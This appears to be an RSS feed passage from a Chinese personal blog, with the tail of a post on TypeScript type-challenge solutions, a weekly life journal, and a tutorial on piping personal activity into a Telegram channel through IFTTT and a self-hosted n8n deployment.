&lt;p&gt;这就有点懵了，为什么还要额外定一个 &lt;code&gt;Thenable&lt;/code&gt; 类型，并且额外判断这种情况呢？暂时也没想明白🤔
如果不自定义 &lt;code&gt;Thenable&lt;/code&gt; 类型，也可以直接用 &lt;code&gt;PromiseLike&lt;/code&gt; ，后面有空再研究下&lt;/p&gt;
&lt;p&gt;If&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type A = If&amp;lt;true, &apos;a&apos;, &apos;b&apos;&amp;gt;  // expected to be &apos;a&apos;
type B = If&amp;lt;false, &apos;a&apos;, &apos;b&apos;&amp;gt; // expected to be &apos;b&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个就很简单了，第一个值必须 &lt;code&gt;extends boolean&lt;/code&gt; ，并且需要判断是否能被赋值给 &lt;code&gt;true&lt;/code&gt; 类型（注意直接写 &lt;code&gt;C ? T :F &lt;/code&gt; 是不行的 🤣&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type If&amp;lt;C extends boolean, T, F&amp;gt; = C extends true ? T : F;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Concat&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Result = Concat&amp;lt;[1], [2]&amp;gt; // expected to be [1, 2]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;想不到吧，数组类型居然还支持 &lt;code&gt;...&lt;/code&gt; 运算符&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Concat&amp;lt;T extends any[], U extends any[]&amp;gt; = [...T, ...U]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Includes&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type isPillarMen = Includes&amp;lt;[&apos;Kars&apos;, &apos;Esidisi&apos;, &apos;Wamuu&apos;, &apos;Santana&apos;], &apos;Dio&apos;&amp;gt; // expected to be `false`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里看上去是要写一个循环，但实际根据 &lt;code&gt;extends&lt;/code&gt;，如果是判断能否转为一个联合类型，则会展开然后依次判断，即&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Includes&amp;lt;T extends readonly any[], U&amp;gt; = U extends T[number] ? true : false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到 &lt;code&gt;T[number]&lt;/code&gt; 实际上是如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos;Kars&apos; | &apos;Esidisi&apos; | &apos;Wamuu&apos; | &apos;Santana&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后 &lt;code&gt;U extends T[number]&lt;/code&gt; 就会逐个去判断&lt;/p&gt;
&lt;p&gt;Push&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Result = Push&amp;lt;[1, 2], &apos;3&apos;&amp;gt; // [1, 2, &apos;3&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个也很简单了，直接展开T，并且加上U即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Push&amp;lt;T extends any[], U&amp;gt; = [...T, U]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Unshift&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Result = Unshift&amp;lt;[1, 2], 0&amp;gt; // [0, 1, 2,]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;很简单不细说了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Unshift&amp;lt;T extends any[], U&amp;gt; = [U, ...T]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Parameters&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const foo = (arg1: string, arg2: number): void =&amp;gt; {}

type FunctionParamsType = MyParameters&amp;lt;typeof foo&amp;gt; // [arg1: string, arg2: number]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个也挺简单的，注意理清关系就好了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type MyParameters&amp;lt;T extends (...args:any) =&amp;gt; any&amp;gt; = T extends (...args:infer P) =&amp;gt; any ? P : never;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>周报8 一群人聊聊天也没啥不好</title><link>https://rayepeng.net/posts/weekpost8/</link><guid isPermaLink="true">https://rayepeng.net/posts/weekpost8/</guid><pubDate>Sun, 23 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报8 一群人聊聊天也没啥不好&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeihpfhmumy4r2w3dlis23mlhrtamx2ay7l7ac4bzj7kbqblrbtgf3a.png&quot; alt=&quot;Group 1 (3)&quot; /&gt;&lt;/p&gt;
&lt;p&gt;本文记录的是raye在7.17 ~ 7.23 这段时间的生活、经历、思考&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;一觞一咏，亦足以畅叙幽情。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;当我在写下标题的时候，脑海中第一个想到便是王羲之在1500年前写下的《兰亭集序》，似乎就连孔子，也表达过，愿意与二三子，浴乎沂，风乎舞雩，咏而归。当真是非常向往这种生活了。&lt;/p&gt;
&lt;p&gt;可惜生活更多的是一种淡淡的悲伤，欲买桂花同载酒，终不似，少年游。&lt;/p&gt;
&lt;p&gt;这周开始听播客，之前不知道是由于什么芥蒂，一直没有听过任何一档播客。可能我对新事物的接触就是那么迟钝吧？我不知道为什么不愿意迈开那一步，像一个战场上的战士，明明没有炮火硝烟，却依旧匍匐不前。&lt;/p&gt;
&lt;p&gt;当我打开播客，当我听到：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;就像一滴墨水，滴在白纸上，晕染出了亭台楼阁，晕染出了山川草木，晕染出了人间百态&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我就知道，我已经无法逃离这份属于文人墨客、属于二三子、属于流觞曲水的快乐了&lt;/p&gt;
&lt;p&gt;刚巧，本周和零时起意读书会大湾区的书友们也线下见了个面，一起吃了一顿带有潮汕风味的午餐。&lt;/p&gt;
&lt;p&gt;一群人，谈天说地，从自动驾驶聊到中美贸易，从无人机比赛到大厂裁员，从风险投资聊到商业本质，除了莫谈国事外，思维跳脱得很🤣&lt;/p&gt;
&lt;p&gt;我很喜欢这种感觉，也很怕失去这种感觉。&lt;/p&gt;
&lt;p&gt;是为本周周报序&lt;/p&gt;
&lt;p&gt;播客&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;就像一滴墨水，滴在白纸上，晕染出了亭台楼阁，晕染出了山川草木，晕染出了人间百态&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;语出看理想博客《谁在写我们这一代的故事》，&lt;a href=&quot;https://open.spotify.com/episode/2bpqYclJ6MXEntFjXSlzpd?si=e93972c813c3487d&quot;&gt;https://open.spotify.com/episode/2bpqYclJ6MXEntFjXSlzpd?si=e93972c813c3487d&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;真的太喜欢这段话了，我甚至想仿写一句：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;就像一弯明月，映照在大海上，折射出了宦游羁旅，折射出了游子思乡，折射出了人间大道&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;（仿写的不好，见谅了）&lt;/p&gt;
&lt;p&gt;于是这一周都沉迷在听播客中，渐渐喜欢上了这种与远方的陌生人，进行一场隔空的灵魂交流。&lt;/p&gt;
&lt;p&gt;书友聚会&lt;/p&gt;
&lt;p&gt;本周二书友们就已经开始筹划周末的聚会了，自然也是很期待。我也在读书会中分享过《微积分的力量》，当时准备了好久的讲义，虽然开始讲了好几分钟才发现腾讯会议没有开麦🤣&lt;/p&gt;
&lt;p&gt;书友们也分享过很多有趣的书籍（虽然有些由于专业隔阂，我并没有完全认真听🤣）&lt;/p&gt;
&lt;p&gt;在序言中已经提到过交流的一些话题，自不赘述，记录下一些观点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;中美贸易战，没想到首先是从袜子、内裤这种轻工业产品开打的（因为中国的类似的轻工业成本已经很低了，每年大量的美国订单）。真正高大上的商战，往往都是在没有硝烟的战场，在一些细微到普通人都无法察觉的产业&lt;/li&gt;
&lt;li&gt;吸管大王，垄断了全行业，但是年利润也只才3亿，延伸到最近深圳在制定高空抛物标准，实际参与标准评估会议的都是一些小公司，而这些小公司背后的利润都很高。（很多小公司，不是默默无闻地死去，就是在默默无闻地赚大钱）&lt;/li&gt;
&lt;li&gt;商业的本质还是供需关系，只是很多小细节的供需你根本没有察觉到（缺少经商的基因啊）&lt;/li&gt;
&lt;li&gt;一个行业如果目标特别地明确，那就可能会很卷。反倒是目标不明确，还在探索期，大家都能按时上下班🐶&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;（本来想放照片，但是我不知道怎么给人脸贴表情包哈哈哈哈😆）&lt;/p&gt;
&lt;p&gt;logseq vs Obsidian vs Notion&lt;/p&gt;
&lt;p&gt;简单写写，后面也准备分析下这几个笔记软件的优劣（挖坑.ing）
我的笔记软件变迁路线：&lt;/p&gt;
&lt;p&gt;最开始用的笔记软件可能已经忘了，不过最开始熟悉markdown，然后开始用 &lt;code&gt;Typora&lt;/code&gt;，但是 &lt;code&gt;Typora&lt;/code&gt; 的文件组织实在是不好用&lt;/p&gt;
&lt;p&gt;后来迁移到印象笔记，因为有一个当时觉得很好用的剪藏功能，我还开了一年会员呢，并且联动的马克飞象markdown编辑器也开了一年会员&lt;/p&gt;
&lt;p&gt;结果一年没用到，又换成了有道云笔记，确实挺好用的，而且免费&lt;/p&gt;
&lt;p&gt;中间用了一段时间的notion，但是感觉操作好繁琐就弃了&lt;/p&gt;
&lt;p&gt;后来在同事的安利下，尝试了obsidian，第一次接触到双链笔记，当时觉得好惊艳，于是又开始折腾obsidian&lt;/p&gt;
&lt;p&gt;但是obsidian还是依赖传统的文件管理，并不是真正意义上的双链，并且搜索功能我也没搞懂&lt;/p&gt;
&lt;p&gt;又切换回notion，notion确实用了很长时间，Apple的备忘录也用过，flow也用过&lt;/p&gt;
&lt;p&gt;最近还是准备开始用logseq，发现这个才是真的香啊，有几个功能我必须得说一下：&lt;/p&gt;
&lt;p&gt;日记&lt;/p&gt;
&lt;p&gt;我以前觉得每天都要写日记是一种强迫，因为我实在是没什么可写的，但是logseq转换了一种思路&lt;/p&gt;
&lt;p&gt;不是让我去回想每天发生了什么，然后记录在日记上&lt;/p&gt;
&lt;p&gt;而是，日记就摆在我面前，我今天的一切入口都是从日记出发的&lt;/p&gt;
&lt;p&gt;我觉得这确实是一种新的思路，这样我每天的记录也都一清二楚，当我要回顾的时候我也能清楚的知道每天都发生了什么（有个不好的地方，第一次用的人可能会一脸懵，我tm连怎么创建笔记都不知道！）&lt;/p&gt;
&lt;p&gt;标签&amp;amp;页面&lt;/p&gt;
&lt;p&gt;我觉得logseq第一次革命了标签的意义&lt;/p&gt;
&lt;p&gt;我可以针对每个block都打一个标签，并且这些标签都会被自动关联到标签所对应的页面中&lt;/p&gt;
&lt;p&gt;举个例子，比如我每天都习惯收集一些美好的句子&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;如果在notion中，我可能需要到专门的一个叫 &lt;code&gt;句子&lt;/code&gt; 的database中，添加一条记录，并且命名&lt;/li&gt;
&lt;li&gt;obsidian中，我需要创建一个新的page，并且取名&lt;/li&gt;
&lt;li&gt;logseq中，我则直接复制粘贴，并且加上 &lt;code&gt;句子&lt;/code&gt; ，就完成了（不用取名真的太好了！）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;当我只需要复制，粘贴，打tag，并且这个tag能够自动按时间顺序关联的时候，那种顺滑的感觉别提有多爽了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeigilppkwb6itpy5bkhuahies44aesyj5q3qkjnl4n7ssp7nq2cc74.png&quot; alt=&quot;pika-2023-07-23T11_15_52.911Z&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Serveless服务与频道管理&lt;/p&gt;
&lt;p&gt;最近也开始沉迷serverless服务的部署了，除了n8n、rsshub之外，也部署了几个爬虫服务，同时参考 pseudoyu 的方法，搭建了一个 &lt;code&gt;uptime&lt;/code&gt; 来进行服务监控。&lt;/p&gt;
&lt;p&gt;我的频道，Raye’s Journey &lt;a href=&quot;https://t.me/RayeJourney&quot;&gt;https://t.me/RayeJourney&lt;/a&gt; ，已经正式上线运营了。&lt;/p&gt;
&lt;p&gt;虽然之前因为调试的问题，有时候一口气发了好几十条消息，不过现在已经差不多好了，欢迎关注👏🏻&lt;/p&gt;
&lt;p&gt;日常会同步我的网易云、豆瓣、Twitter、xlog、medium、Spotify、Github、YouTube、pinboard、instapaper这些服务&lt;/p&gt;
&lt;p&gt;搭建过程都记录在这篇文章啦&lt;a href=&quot;https://raye.xlog.app/gou-jian-ge-xing-hua-de-shu-zi-ri-ji--zi-dong-hua-gong-zuo-liu-shi-xian-xin-xi-ju-he&quot;&gt;https://raye.xlog.app/gou-jian-ge-xing-hua-de-shu-zi-ri-ji--zi-dong-hua-gong-zuo-liu-shi-xian-xin-xi-ju-he&lt;/a&gt;，如果有问题欢迎tg私戳我&lt;/p&gt;
&lt;p&gt;（ps，最近xlog更新了，但是这里的图标显示有问题，其中一个Telegram我也不知道咋加上去的，实际上是错误的，不要被误导了）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiawym4bkqy3ptfky34sf6k3jbly2oq7mw6nt3movraqvuh4psulfy.png&quot; alt=&quot;pika-2023-07-23T10_25_58.300Z&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;更新，现在好了，原来是我不小心设置错误了哈哈哈哈😓&lt;/p&gt;
&lt;p&gt;追剧
《The Last of Us》 第一季追完了，我太喜欢这部剧了！（虽然3月就完结了我现在才看完）&lt;/p&gt;
&lt;p&gt;艾莉的冷笑话，乔尔性格上的转变，最后一幕乔尔一把枪干翻火萤的场景，配合上悲壮的bgm，忍不住流泪了&lt;/p&gt;
&lt;p&gt;这一幕好暖啊，乔尔也会讲冷笑话了🤣&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreia5qbar2j3cy7un4kxcip7vpifgylyl5b2tggqlmhetysxkzslqc4.jpeg&quot; alt=&quot;telegram-cloud-photo-size-5-6190575048398583904-y&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可惜我没法截图，但是推荐B站up的墨菲的讲解，讲的太棒啦！
&lt;a href=&quot;https://www.bilibili.com/video/BV1rP4y1k7b2&quot;&gt; https://www.bilibili.com/video/BV1rP4y1k7b2 &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;历史&lt;/p&gt;
&lt;p&gt;最近关注了安森垚这个up主，有这惊人的语速，但平凡朴实的讲述中，却又能感受到他在语言学，地理学，历史学，数学，中国传统文化等这些领域中有着很高深的造诣。&lt;/p&gt;
&lt;p&gt;我最开始是好奇中国各省的产生与渊源，对于中国的地形，如汉中、四川、关中、南阳，这些中学地理课本上并没有讲到过的地形单元，我总喜欢探索背后的一些故事（其实也很三国历史相关啦，毕竟隆中对不就是涉及到了这几个地方吗哈哈哈）&lt;/p&gt;
&lt;p&gt;结果在推荐中就看到了他的视频，后面陆陆续续把他讲中国文化视频都刷了一遍，做的真的很棒，增强了我的文化自信 🐶&lt;/p&gt;
&lt;p&gt;我前段时间还在思考，周幽王烽火戏诸侯这个事情到底有没有可能，真的感觉很不靠谱啊，他的视频也详细解读了（其实所谓历史，不是现实发生的事，更多的是史官眼中的发生的事，司马迁能秉公执笔，客观的呈现已属实不易，烽火戏诸侯就当一个寓言故事来看吧😆）&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.bilibili.com/bangumi/play/ep515060/&quot;&gt;https://www.bilibili.com/bangumi/play/ep515060/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;思考&lt;/p&gt;
&lt;p&gt;最近总是会莫名的焦虑，尤其是知道自己要做某个事情的时候，但是很多时候自己在忙，没空做。&lt;/p&gt;
&lt;p&gt;结果一旦闲下来，又发现自己没了追求，一直拖着不愿意去做。&lt;/p&gt;
&lt;p&gt;然后就开始郁闷，开始自我否定，否定完之后，又开始自我打鸡血开始搞事情&lt;/p&gt;
&lt;p&gt;总是在这一开一合之间，有时候好累啊&lt;/p&gt;
&lt;p&gt;还是要学会与自己和解吧🫠&lt;/p&gt;
&lt;p&gt;Newsletter&lt;/p&gt;
&lt;p&gt;以后所有的记录就都会自动同步到个人频道啦, [https://t.me/RayeJourney]&lt;/p&gt;
&lt;p&gt;不过也会摘录一些放在博客里：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;https://github.com/RayWangQvQ/BiliBiliToolPro B 站（bilibili）自动任务工具，有必要搭建一个，不然我的大会员都浪费了&lt;/li&gt;
&lt;li&gt;https://github.com/F6JO/RouteVulScan Burp路径检测扫描插件，准备熟悉下代码贡献下&lt;/li&gt;
&lt;li&gt;https://book.douban.com/subject/36170929/《玻璃塔迷案》，这个反转还是有点惊人的，虽然总觉得哪里不对（比如为什么要故意留下线索给医生），但还是很喜欢&lt;/li&gt;
&lt;li&gt;https://github.com/cfour-hi/gitstars 可以管理自己的Github stars项目，我提了个pr，可以部署到vercel上（其实就是写个云函数的事，很简单，但是踩了一些坑），准备后续分享一下（如果想部署的话可以参考我fork的，https://github.com/rayepeng/gitstars&lt;/li&gt;
&lt;li&gt;https://mp.weixin.qq.com/s/wFaSLMOdXibubgaIgNV3iQ 如何理解产品经理，写得很深刻&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>构建个性化的数字日记：自动化工作流实现信息聚合</title><link>https://rayepeng.net/posts/personal-diary/</link><guid isPermaLink="true">https://rayepeng.net/posts/personal-diary/</guid><pubDate>Tue, 18 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;构建个性化的数字日记：自动化工作流实现信息聚合&lt;/p&gt;
&lt;p&gt;开篇&lt;/p&gt;
&lt;p&gt;互联网现在仿佛已成为了一个赛博空间的战场，每个app各自为政，你圈一块地，我割一块土。旗帜鲜明，以邻为壑。颇有一种春秋战国的魅力&lt;/p&gt;
&lt;p&gt;这让我想起一个故事，近代德国未统一之前，一个运货的商人，途径各个关隘，所交的税，已经是他所贩卖商品价值的好几倍了&lt;/p&gt;
&lt;p&gt;对于生活在赛博空间的我们，不也就是这个商人吗，我每天在B站投币，在网易云听歌，在微信看公众号，在YouTube点赞, 以及浏览器中散乱的永远也不会打开的书签与稍后阅读，注意力和时间就是我们所交的税。&lt;/p&gt;
&lt;p&gt;Reorx把我们比作赛博空间的信息过滤器，每天接受大量的输入，过滤出自己想要的信息。这个比喻略有一点恐怖，但事实就是如此。&lt;/p&gt;
&lt;p&gt;信息输入的太多，看上去我们点赞、收藏、标记了很多东西，结果到头来发现自己已经忘了信息是从何处而来的。&lt;/p&gt;
&lt;p&gt;我们需要一个收纳、汇总的地方，我称之为赛博空间的数字日记&lt;/p&gt;
&lt;p&gt;本文将介绍这个话题，并一步步指引你如何实现这个步骤&lt;/p&gt;
&lt;p&gt;聚合什么信息&lt;/p&gt;
&lt;p&gt;展现形式&lt;/p&gt;
&lt;p&gt;首先介绍这个汇总的地方，我选择的是telegram：&lt;/p&gt;
&lt;p&gt;Telegram有很多让我兴奋的点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;创建属于自己的频道，类似微信公众号，且没有任何内容审查&lt;/li&gt;
&lt;li&gt;消息支持的样式丰富，链接会自动预览，标签功能可以快速搜索&lt;/li&gt;
&lt;li&gt;Instant View功能，可以快速地加载一篇文章，并且离线存储&lt;/li&gt;
&lt;li&gt;好玩的机器人与丰富的API支持&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;当我把自己使用过的app上的记录都汇总起来，就沉淀了出如下的一个频道： Raye’s Journey(raye的日记)&lt;a href=&quot;https://t.me/RayeJourney&quot;&gt;https://t.me/RayeJourney&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;欢迎join 👏&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;
&amp;lt;img width=&quot;300&quot; height=&quot;300&quot; src=&quot;./attachments/bafybeiaiaeiq5dlkhnkeq4agb75tfhsgikvykjdtmy5jxt4apr6xiureeq.png&quot;&amp;gt;
&amp;lt;img width=&quot;300&quot; height=&quot;300&quot; src=&quot;./attachments/bafybeieem6rl43wqpxm2hkjzibmqekkcgyx7ffolyjmuvqw7pah2oqmcim.png&quot;&amp;gt;
&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;内容来源&lt;/p&gt;
&lt;p&gt;我梳理了日常生活用到app or 信息来源：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;阅读：微信读书（通过豆瓣记录）、博客论坛(medium、xlog，通过pinboard+instapaper记录)&lt;/li&gt;
&lt;li&gt;视频：YouTube、B站&lt;/li&gt;
&lt;li&gt;追剧：日常在Apple tv、Netflix、hbo上追剧，豆瓣记录&lt;/li&gt;
&lt;li&gt;音乐：Spotify、网易云&lt;/li&gt;
&lt;li&gt;社交：微信、telegram、Twitter&lt;/li&gt;
&lt;li&gt;游戏：xbox、steam、taptap&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;经过梳理，其实信息源可以来自几个地方：
bilibili、YouTube、网易云、Spotify、豆瓣、pinboard书签、instapaper稍后阅读、Twitter&lt;/p&gt;
&lt;p&gt;微信什么的就别想了，隔离的太死了，我也不想和它玩&lt;/p&gt;
&lt;p&gt;自动化工作流&lt;/p&gt;
&lt;p&gt;市面上其实已经有很多成熟的自动化工作流平台了，如IFTTT、Zapier等&lt;/p&gt;
&lt;p&gt;为了不让读者一开始上来就被繁琐的步骤给搞晕，我们可以先从一个IFTTT开始配置一个工作流&lt;/p&gt;
&lt;p&gt;我经常会阅读medium上的文章，并且点赞或者加入稍后阅读&lt;/p&gt;
&lt;p&gt;因此，我想实现一个，当我点赞了medium上的文章，我想自动同步到我的telegram频道上&lt;/p&gt;
&lt;p&gt;IFTTT，这个网站的命名很有意思，是 &lt;code&gt;if This, Then That&lt;/code&gt; 的缩写，直译即为：如果这个，那么那个&lt;/p&gt;
&lt;p&gt;如果我点赞了medium的文章，那么自动发送到telegram频道上&lt;/p&gt;
&lt;p&gt;点击 &lt;code&gt;if This&lt;/code&gt; ，搜索 medium， 选择第一个（即点赞），这个时候有一个链接你的账户过程，点两下就好了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeibw7kbenlzfmpcpwdos2z52ki73cztsx5t5kpvw5ybsx2bo2q6mpe.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;添加好 &lt;code&gt;if This&lt;/code&gt;之后，再选择 &lt;code&gt;Then That&lt;/code&gt; ，搜索telegram，添加&lt;/p&gt;
&lt;p&gt;这时候需要添加telegram账户，以及目标聊天群或者是频道（如果不知道怎么tg频道的chatid怎么获取，可以参考后面的附录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeieed2iiqghqdr7z7dbjaicamsy2xel4nyfta7tq2qcqylfxpmcmk4.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后完成品如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeihqu7dtykfawia76wpjt775bjzkreeznrwnn5466u65s5car7d5ra.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此时，只要我们点赞了一篇medium上的文章，就会自动发送到telegram频道上保存起来&lt;/p&gt;
&lt;p&gt;既然IFTTT这么好用，为啥不直接用呢？
因此存在如下问题：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;付费，免费用户只能创建两个工作流，且处处受限（比如Twitter的一些功能）&lt;/li&gt;
&lt;li&gt;看平台的支持度，缺乏自定义空间&lt;/li&gt;
&lt;li&gt;不可控，万一平台跑路，一切都没了🫠&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;鉴于此，程序员自然要有开源（白嫖）的精神，接下来介绍的内容涉及一些比较繁琐的步骤，但是如果按照步骤来也能轻松地完成😉&lt;/p&gt;
&lt;p&gt;开源的n8n&lt;/p&gt;
&lt;p&gt;n8n即是一个开源的工作流平台，虽然本身也提供付费功能，但毕竟给了我们自己部署的空间&lt;/p&gt;
&lt;p&gt;n8n本身有一些简单的概念，很类似低代码平台：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;workflow : 工作流，比如你想让网易云的喜欢的音乐自动推送到telegram，可以理解为你想实现自动化的一个事情&lt;/li&gt;
&lt;li&gt;node：节点，即workflow拆解出的一个个步骤，比如上述可以分成几个节点，获取网易云喜欢的音乐，处理数据，推送&lt;/li&gt;
&lt;li&gt;credential：凭证，为了保护用户数据，不可能随便拉取任何一个人的信息，因此需要使用到你的用户凭证&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;要部署一个服务，自然就得有云服务器，但是现在都流行serverless的部署方式，即不需要接触到底层的服务器，只需要打包好你的应用即可。&lt;/p&gt;
&lt;p&gt;部署过程&lt;/p&gt;
&lt;p&gt;数据库&lt;/p&gt;
&lt;p&gt;n8n推荐使用postgresql作为后台存储，因此我们可以选择使用 supabase 来创建一个&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://supabase.com/&quot;&gt;https://supabase.com/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Github登录后创建就行了，唯一的门槛就是英语，不过也可以借助沉浸式翻译插件完成&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeidtirg33nivxmf623u4mnjsxlda7pfyzkajrwsmz3m63tpcsbiwwm.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;获得Database的连接信息，保存下来，后续会用到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeidxorzhrwlnukzdnaevuqqvkuuy3h5kysyw5jadmbw3zca6vq3iaq.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;后台服务&lt;/p&gt;
&lt;p&gt;Railway 是一个容器部署的平台，本来是最推荐的，但是我自己实验的过程中，平台的风控越来越严了，新注册的账号都不允许你从部署Github上的源码了。&lt;/p&gt;
&lt;p&gt;但是思路打开一点，容器托管平台那么多，又不是只有你一家，你不让我用我还懒得用你呢😑。&lt;/p&gt;
&lt;p&gt;我这里用的是 &lt;code&gt;northflank&lt;/code&gt; 这个平台，唯一的门槛是需要绑定一张信用卡，搞一个虚拟的信用卡就行，相信折腾过chatGPT支付的同学都有&lt;/p&gt;
&lt;p&gt;顺便发现了一个专供程序员白嫖的文档，收录了很多能提供免费额度的平台，生产力max！
&lt;a href=&quot;https://free-for.dev//?id=docker-related&quot;&gt;https://free-for.dev//?id=docker-related&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;部署过程很简单，首先fork这个代码仓库：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/rayepeng/n8n-on-railway&quot;&gt;https://github.com/rayepeng/n8n-on-railway&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;新建一个Service，仓库选择你刚刚fork的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeicng6vluj6efrwrge5nu5v5idkzb2ydyjjyl56bupxx2lf5elbace.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;northflank&lt;/code&gt; 会自动识别出Dockerfile，并且检测出对外暴露的端口号，分配一个域名&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeidlu7a5tj7fy7y7be4uh7ersjx7dsisa3s7dosyejxv365elqo4ny.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;等待1~2分钟，部署完成之后不出意外你就可以通过生成的域名访问你的服务了。&lt;/p&gt;
&lt;p&gt;环境变量配置&lt;/p&gt;
&lt;p&gt;后台服务起来之后，还需要配置我们最开始的数据库链接，这里只需要按照如下配置来即可：
部分配置项理解：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;DB&lt;/code&gt; 开头的都是DB配置信息&lt;/li&gt;
&lt;li&gt;&lt;code&gt;VUE_APP_URL_BASE_API&lt;/code&gt; 和 &lt;code&gt;WEBHOOK_URL&lt;/code&gt; 都填写生成的域名（也可以参考后续的步骤换成你自己的）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;N8N_ENCRYPTION_KEY&lt;/code&gt; n8n用来加密的密钥，一定生成一个并妥善保管&lt;/li&gt;
&lt;li&gt;&lt;code&gt;EXECUTIONS_DATA_PRUNE&lt;/code&gt; 定期清理数据（即运行记录之类的，不然数据库会炸）&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;PORT=5678
N8N_ENCRYPTION_KEY=xxxxxx
VUE_APP_URL_BASE_API=https://n8n.app.raye.wiki
WEBHOOK_URL=https://n8n.app.raye.wiki
GENERIC_TIMEZONE=Asia/Shanghai
TZ=Asia/Shanghai
N8N_LOG_LEVEL=verbose
DB_TYPE=postgresdb
DB_POSTGRESDB_DATABASE=postgres
DB_POSTGRESDB_HOST=数据库URL
DB_POSTGRESDB_PORT=5432
DB_POSTGRESDB_USER=postgres
DB_POSTGRESDB_SCHEMA=public
DB_POSTGRESDB_PASSWORD=数据库密码
EXECUTIONS_DATA_PRUNE=true
EXECUTIONS_DATA_MAX_AGE=72
EXECUTIONS_DATA_SAVE_ON_ERROR=all
EXECUTIONS_DATA_SAVE_ON_SUCCESS=none
EXECUTIONS_DATA_SAVE_ON_PROGRESS=false
EXECUTIONS_DATA_SAVE_MANUAL_EXECUTIONS=false
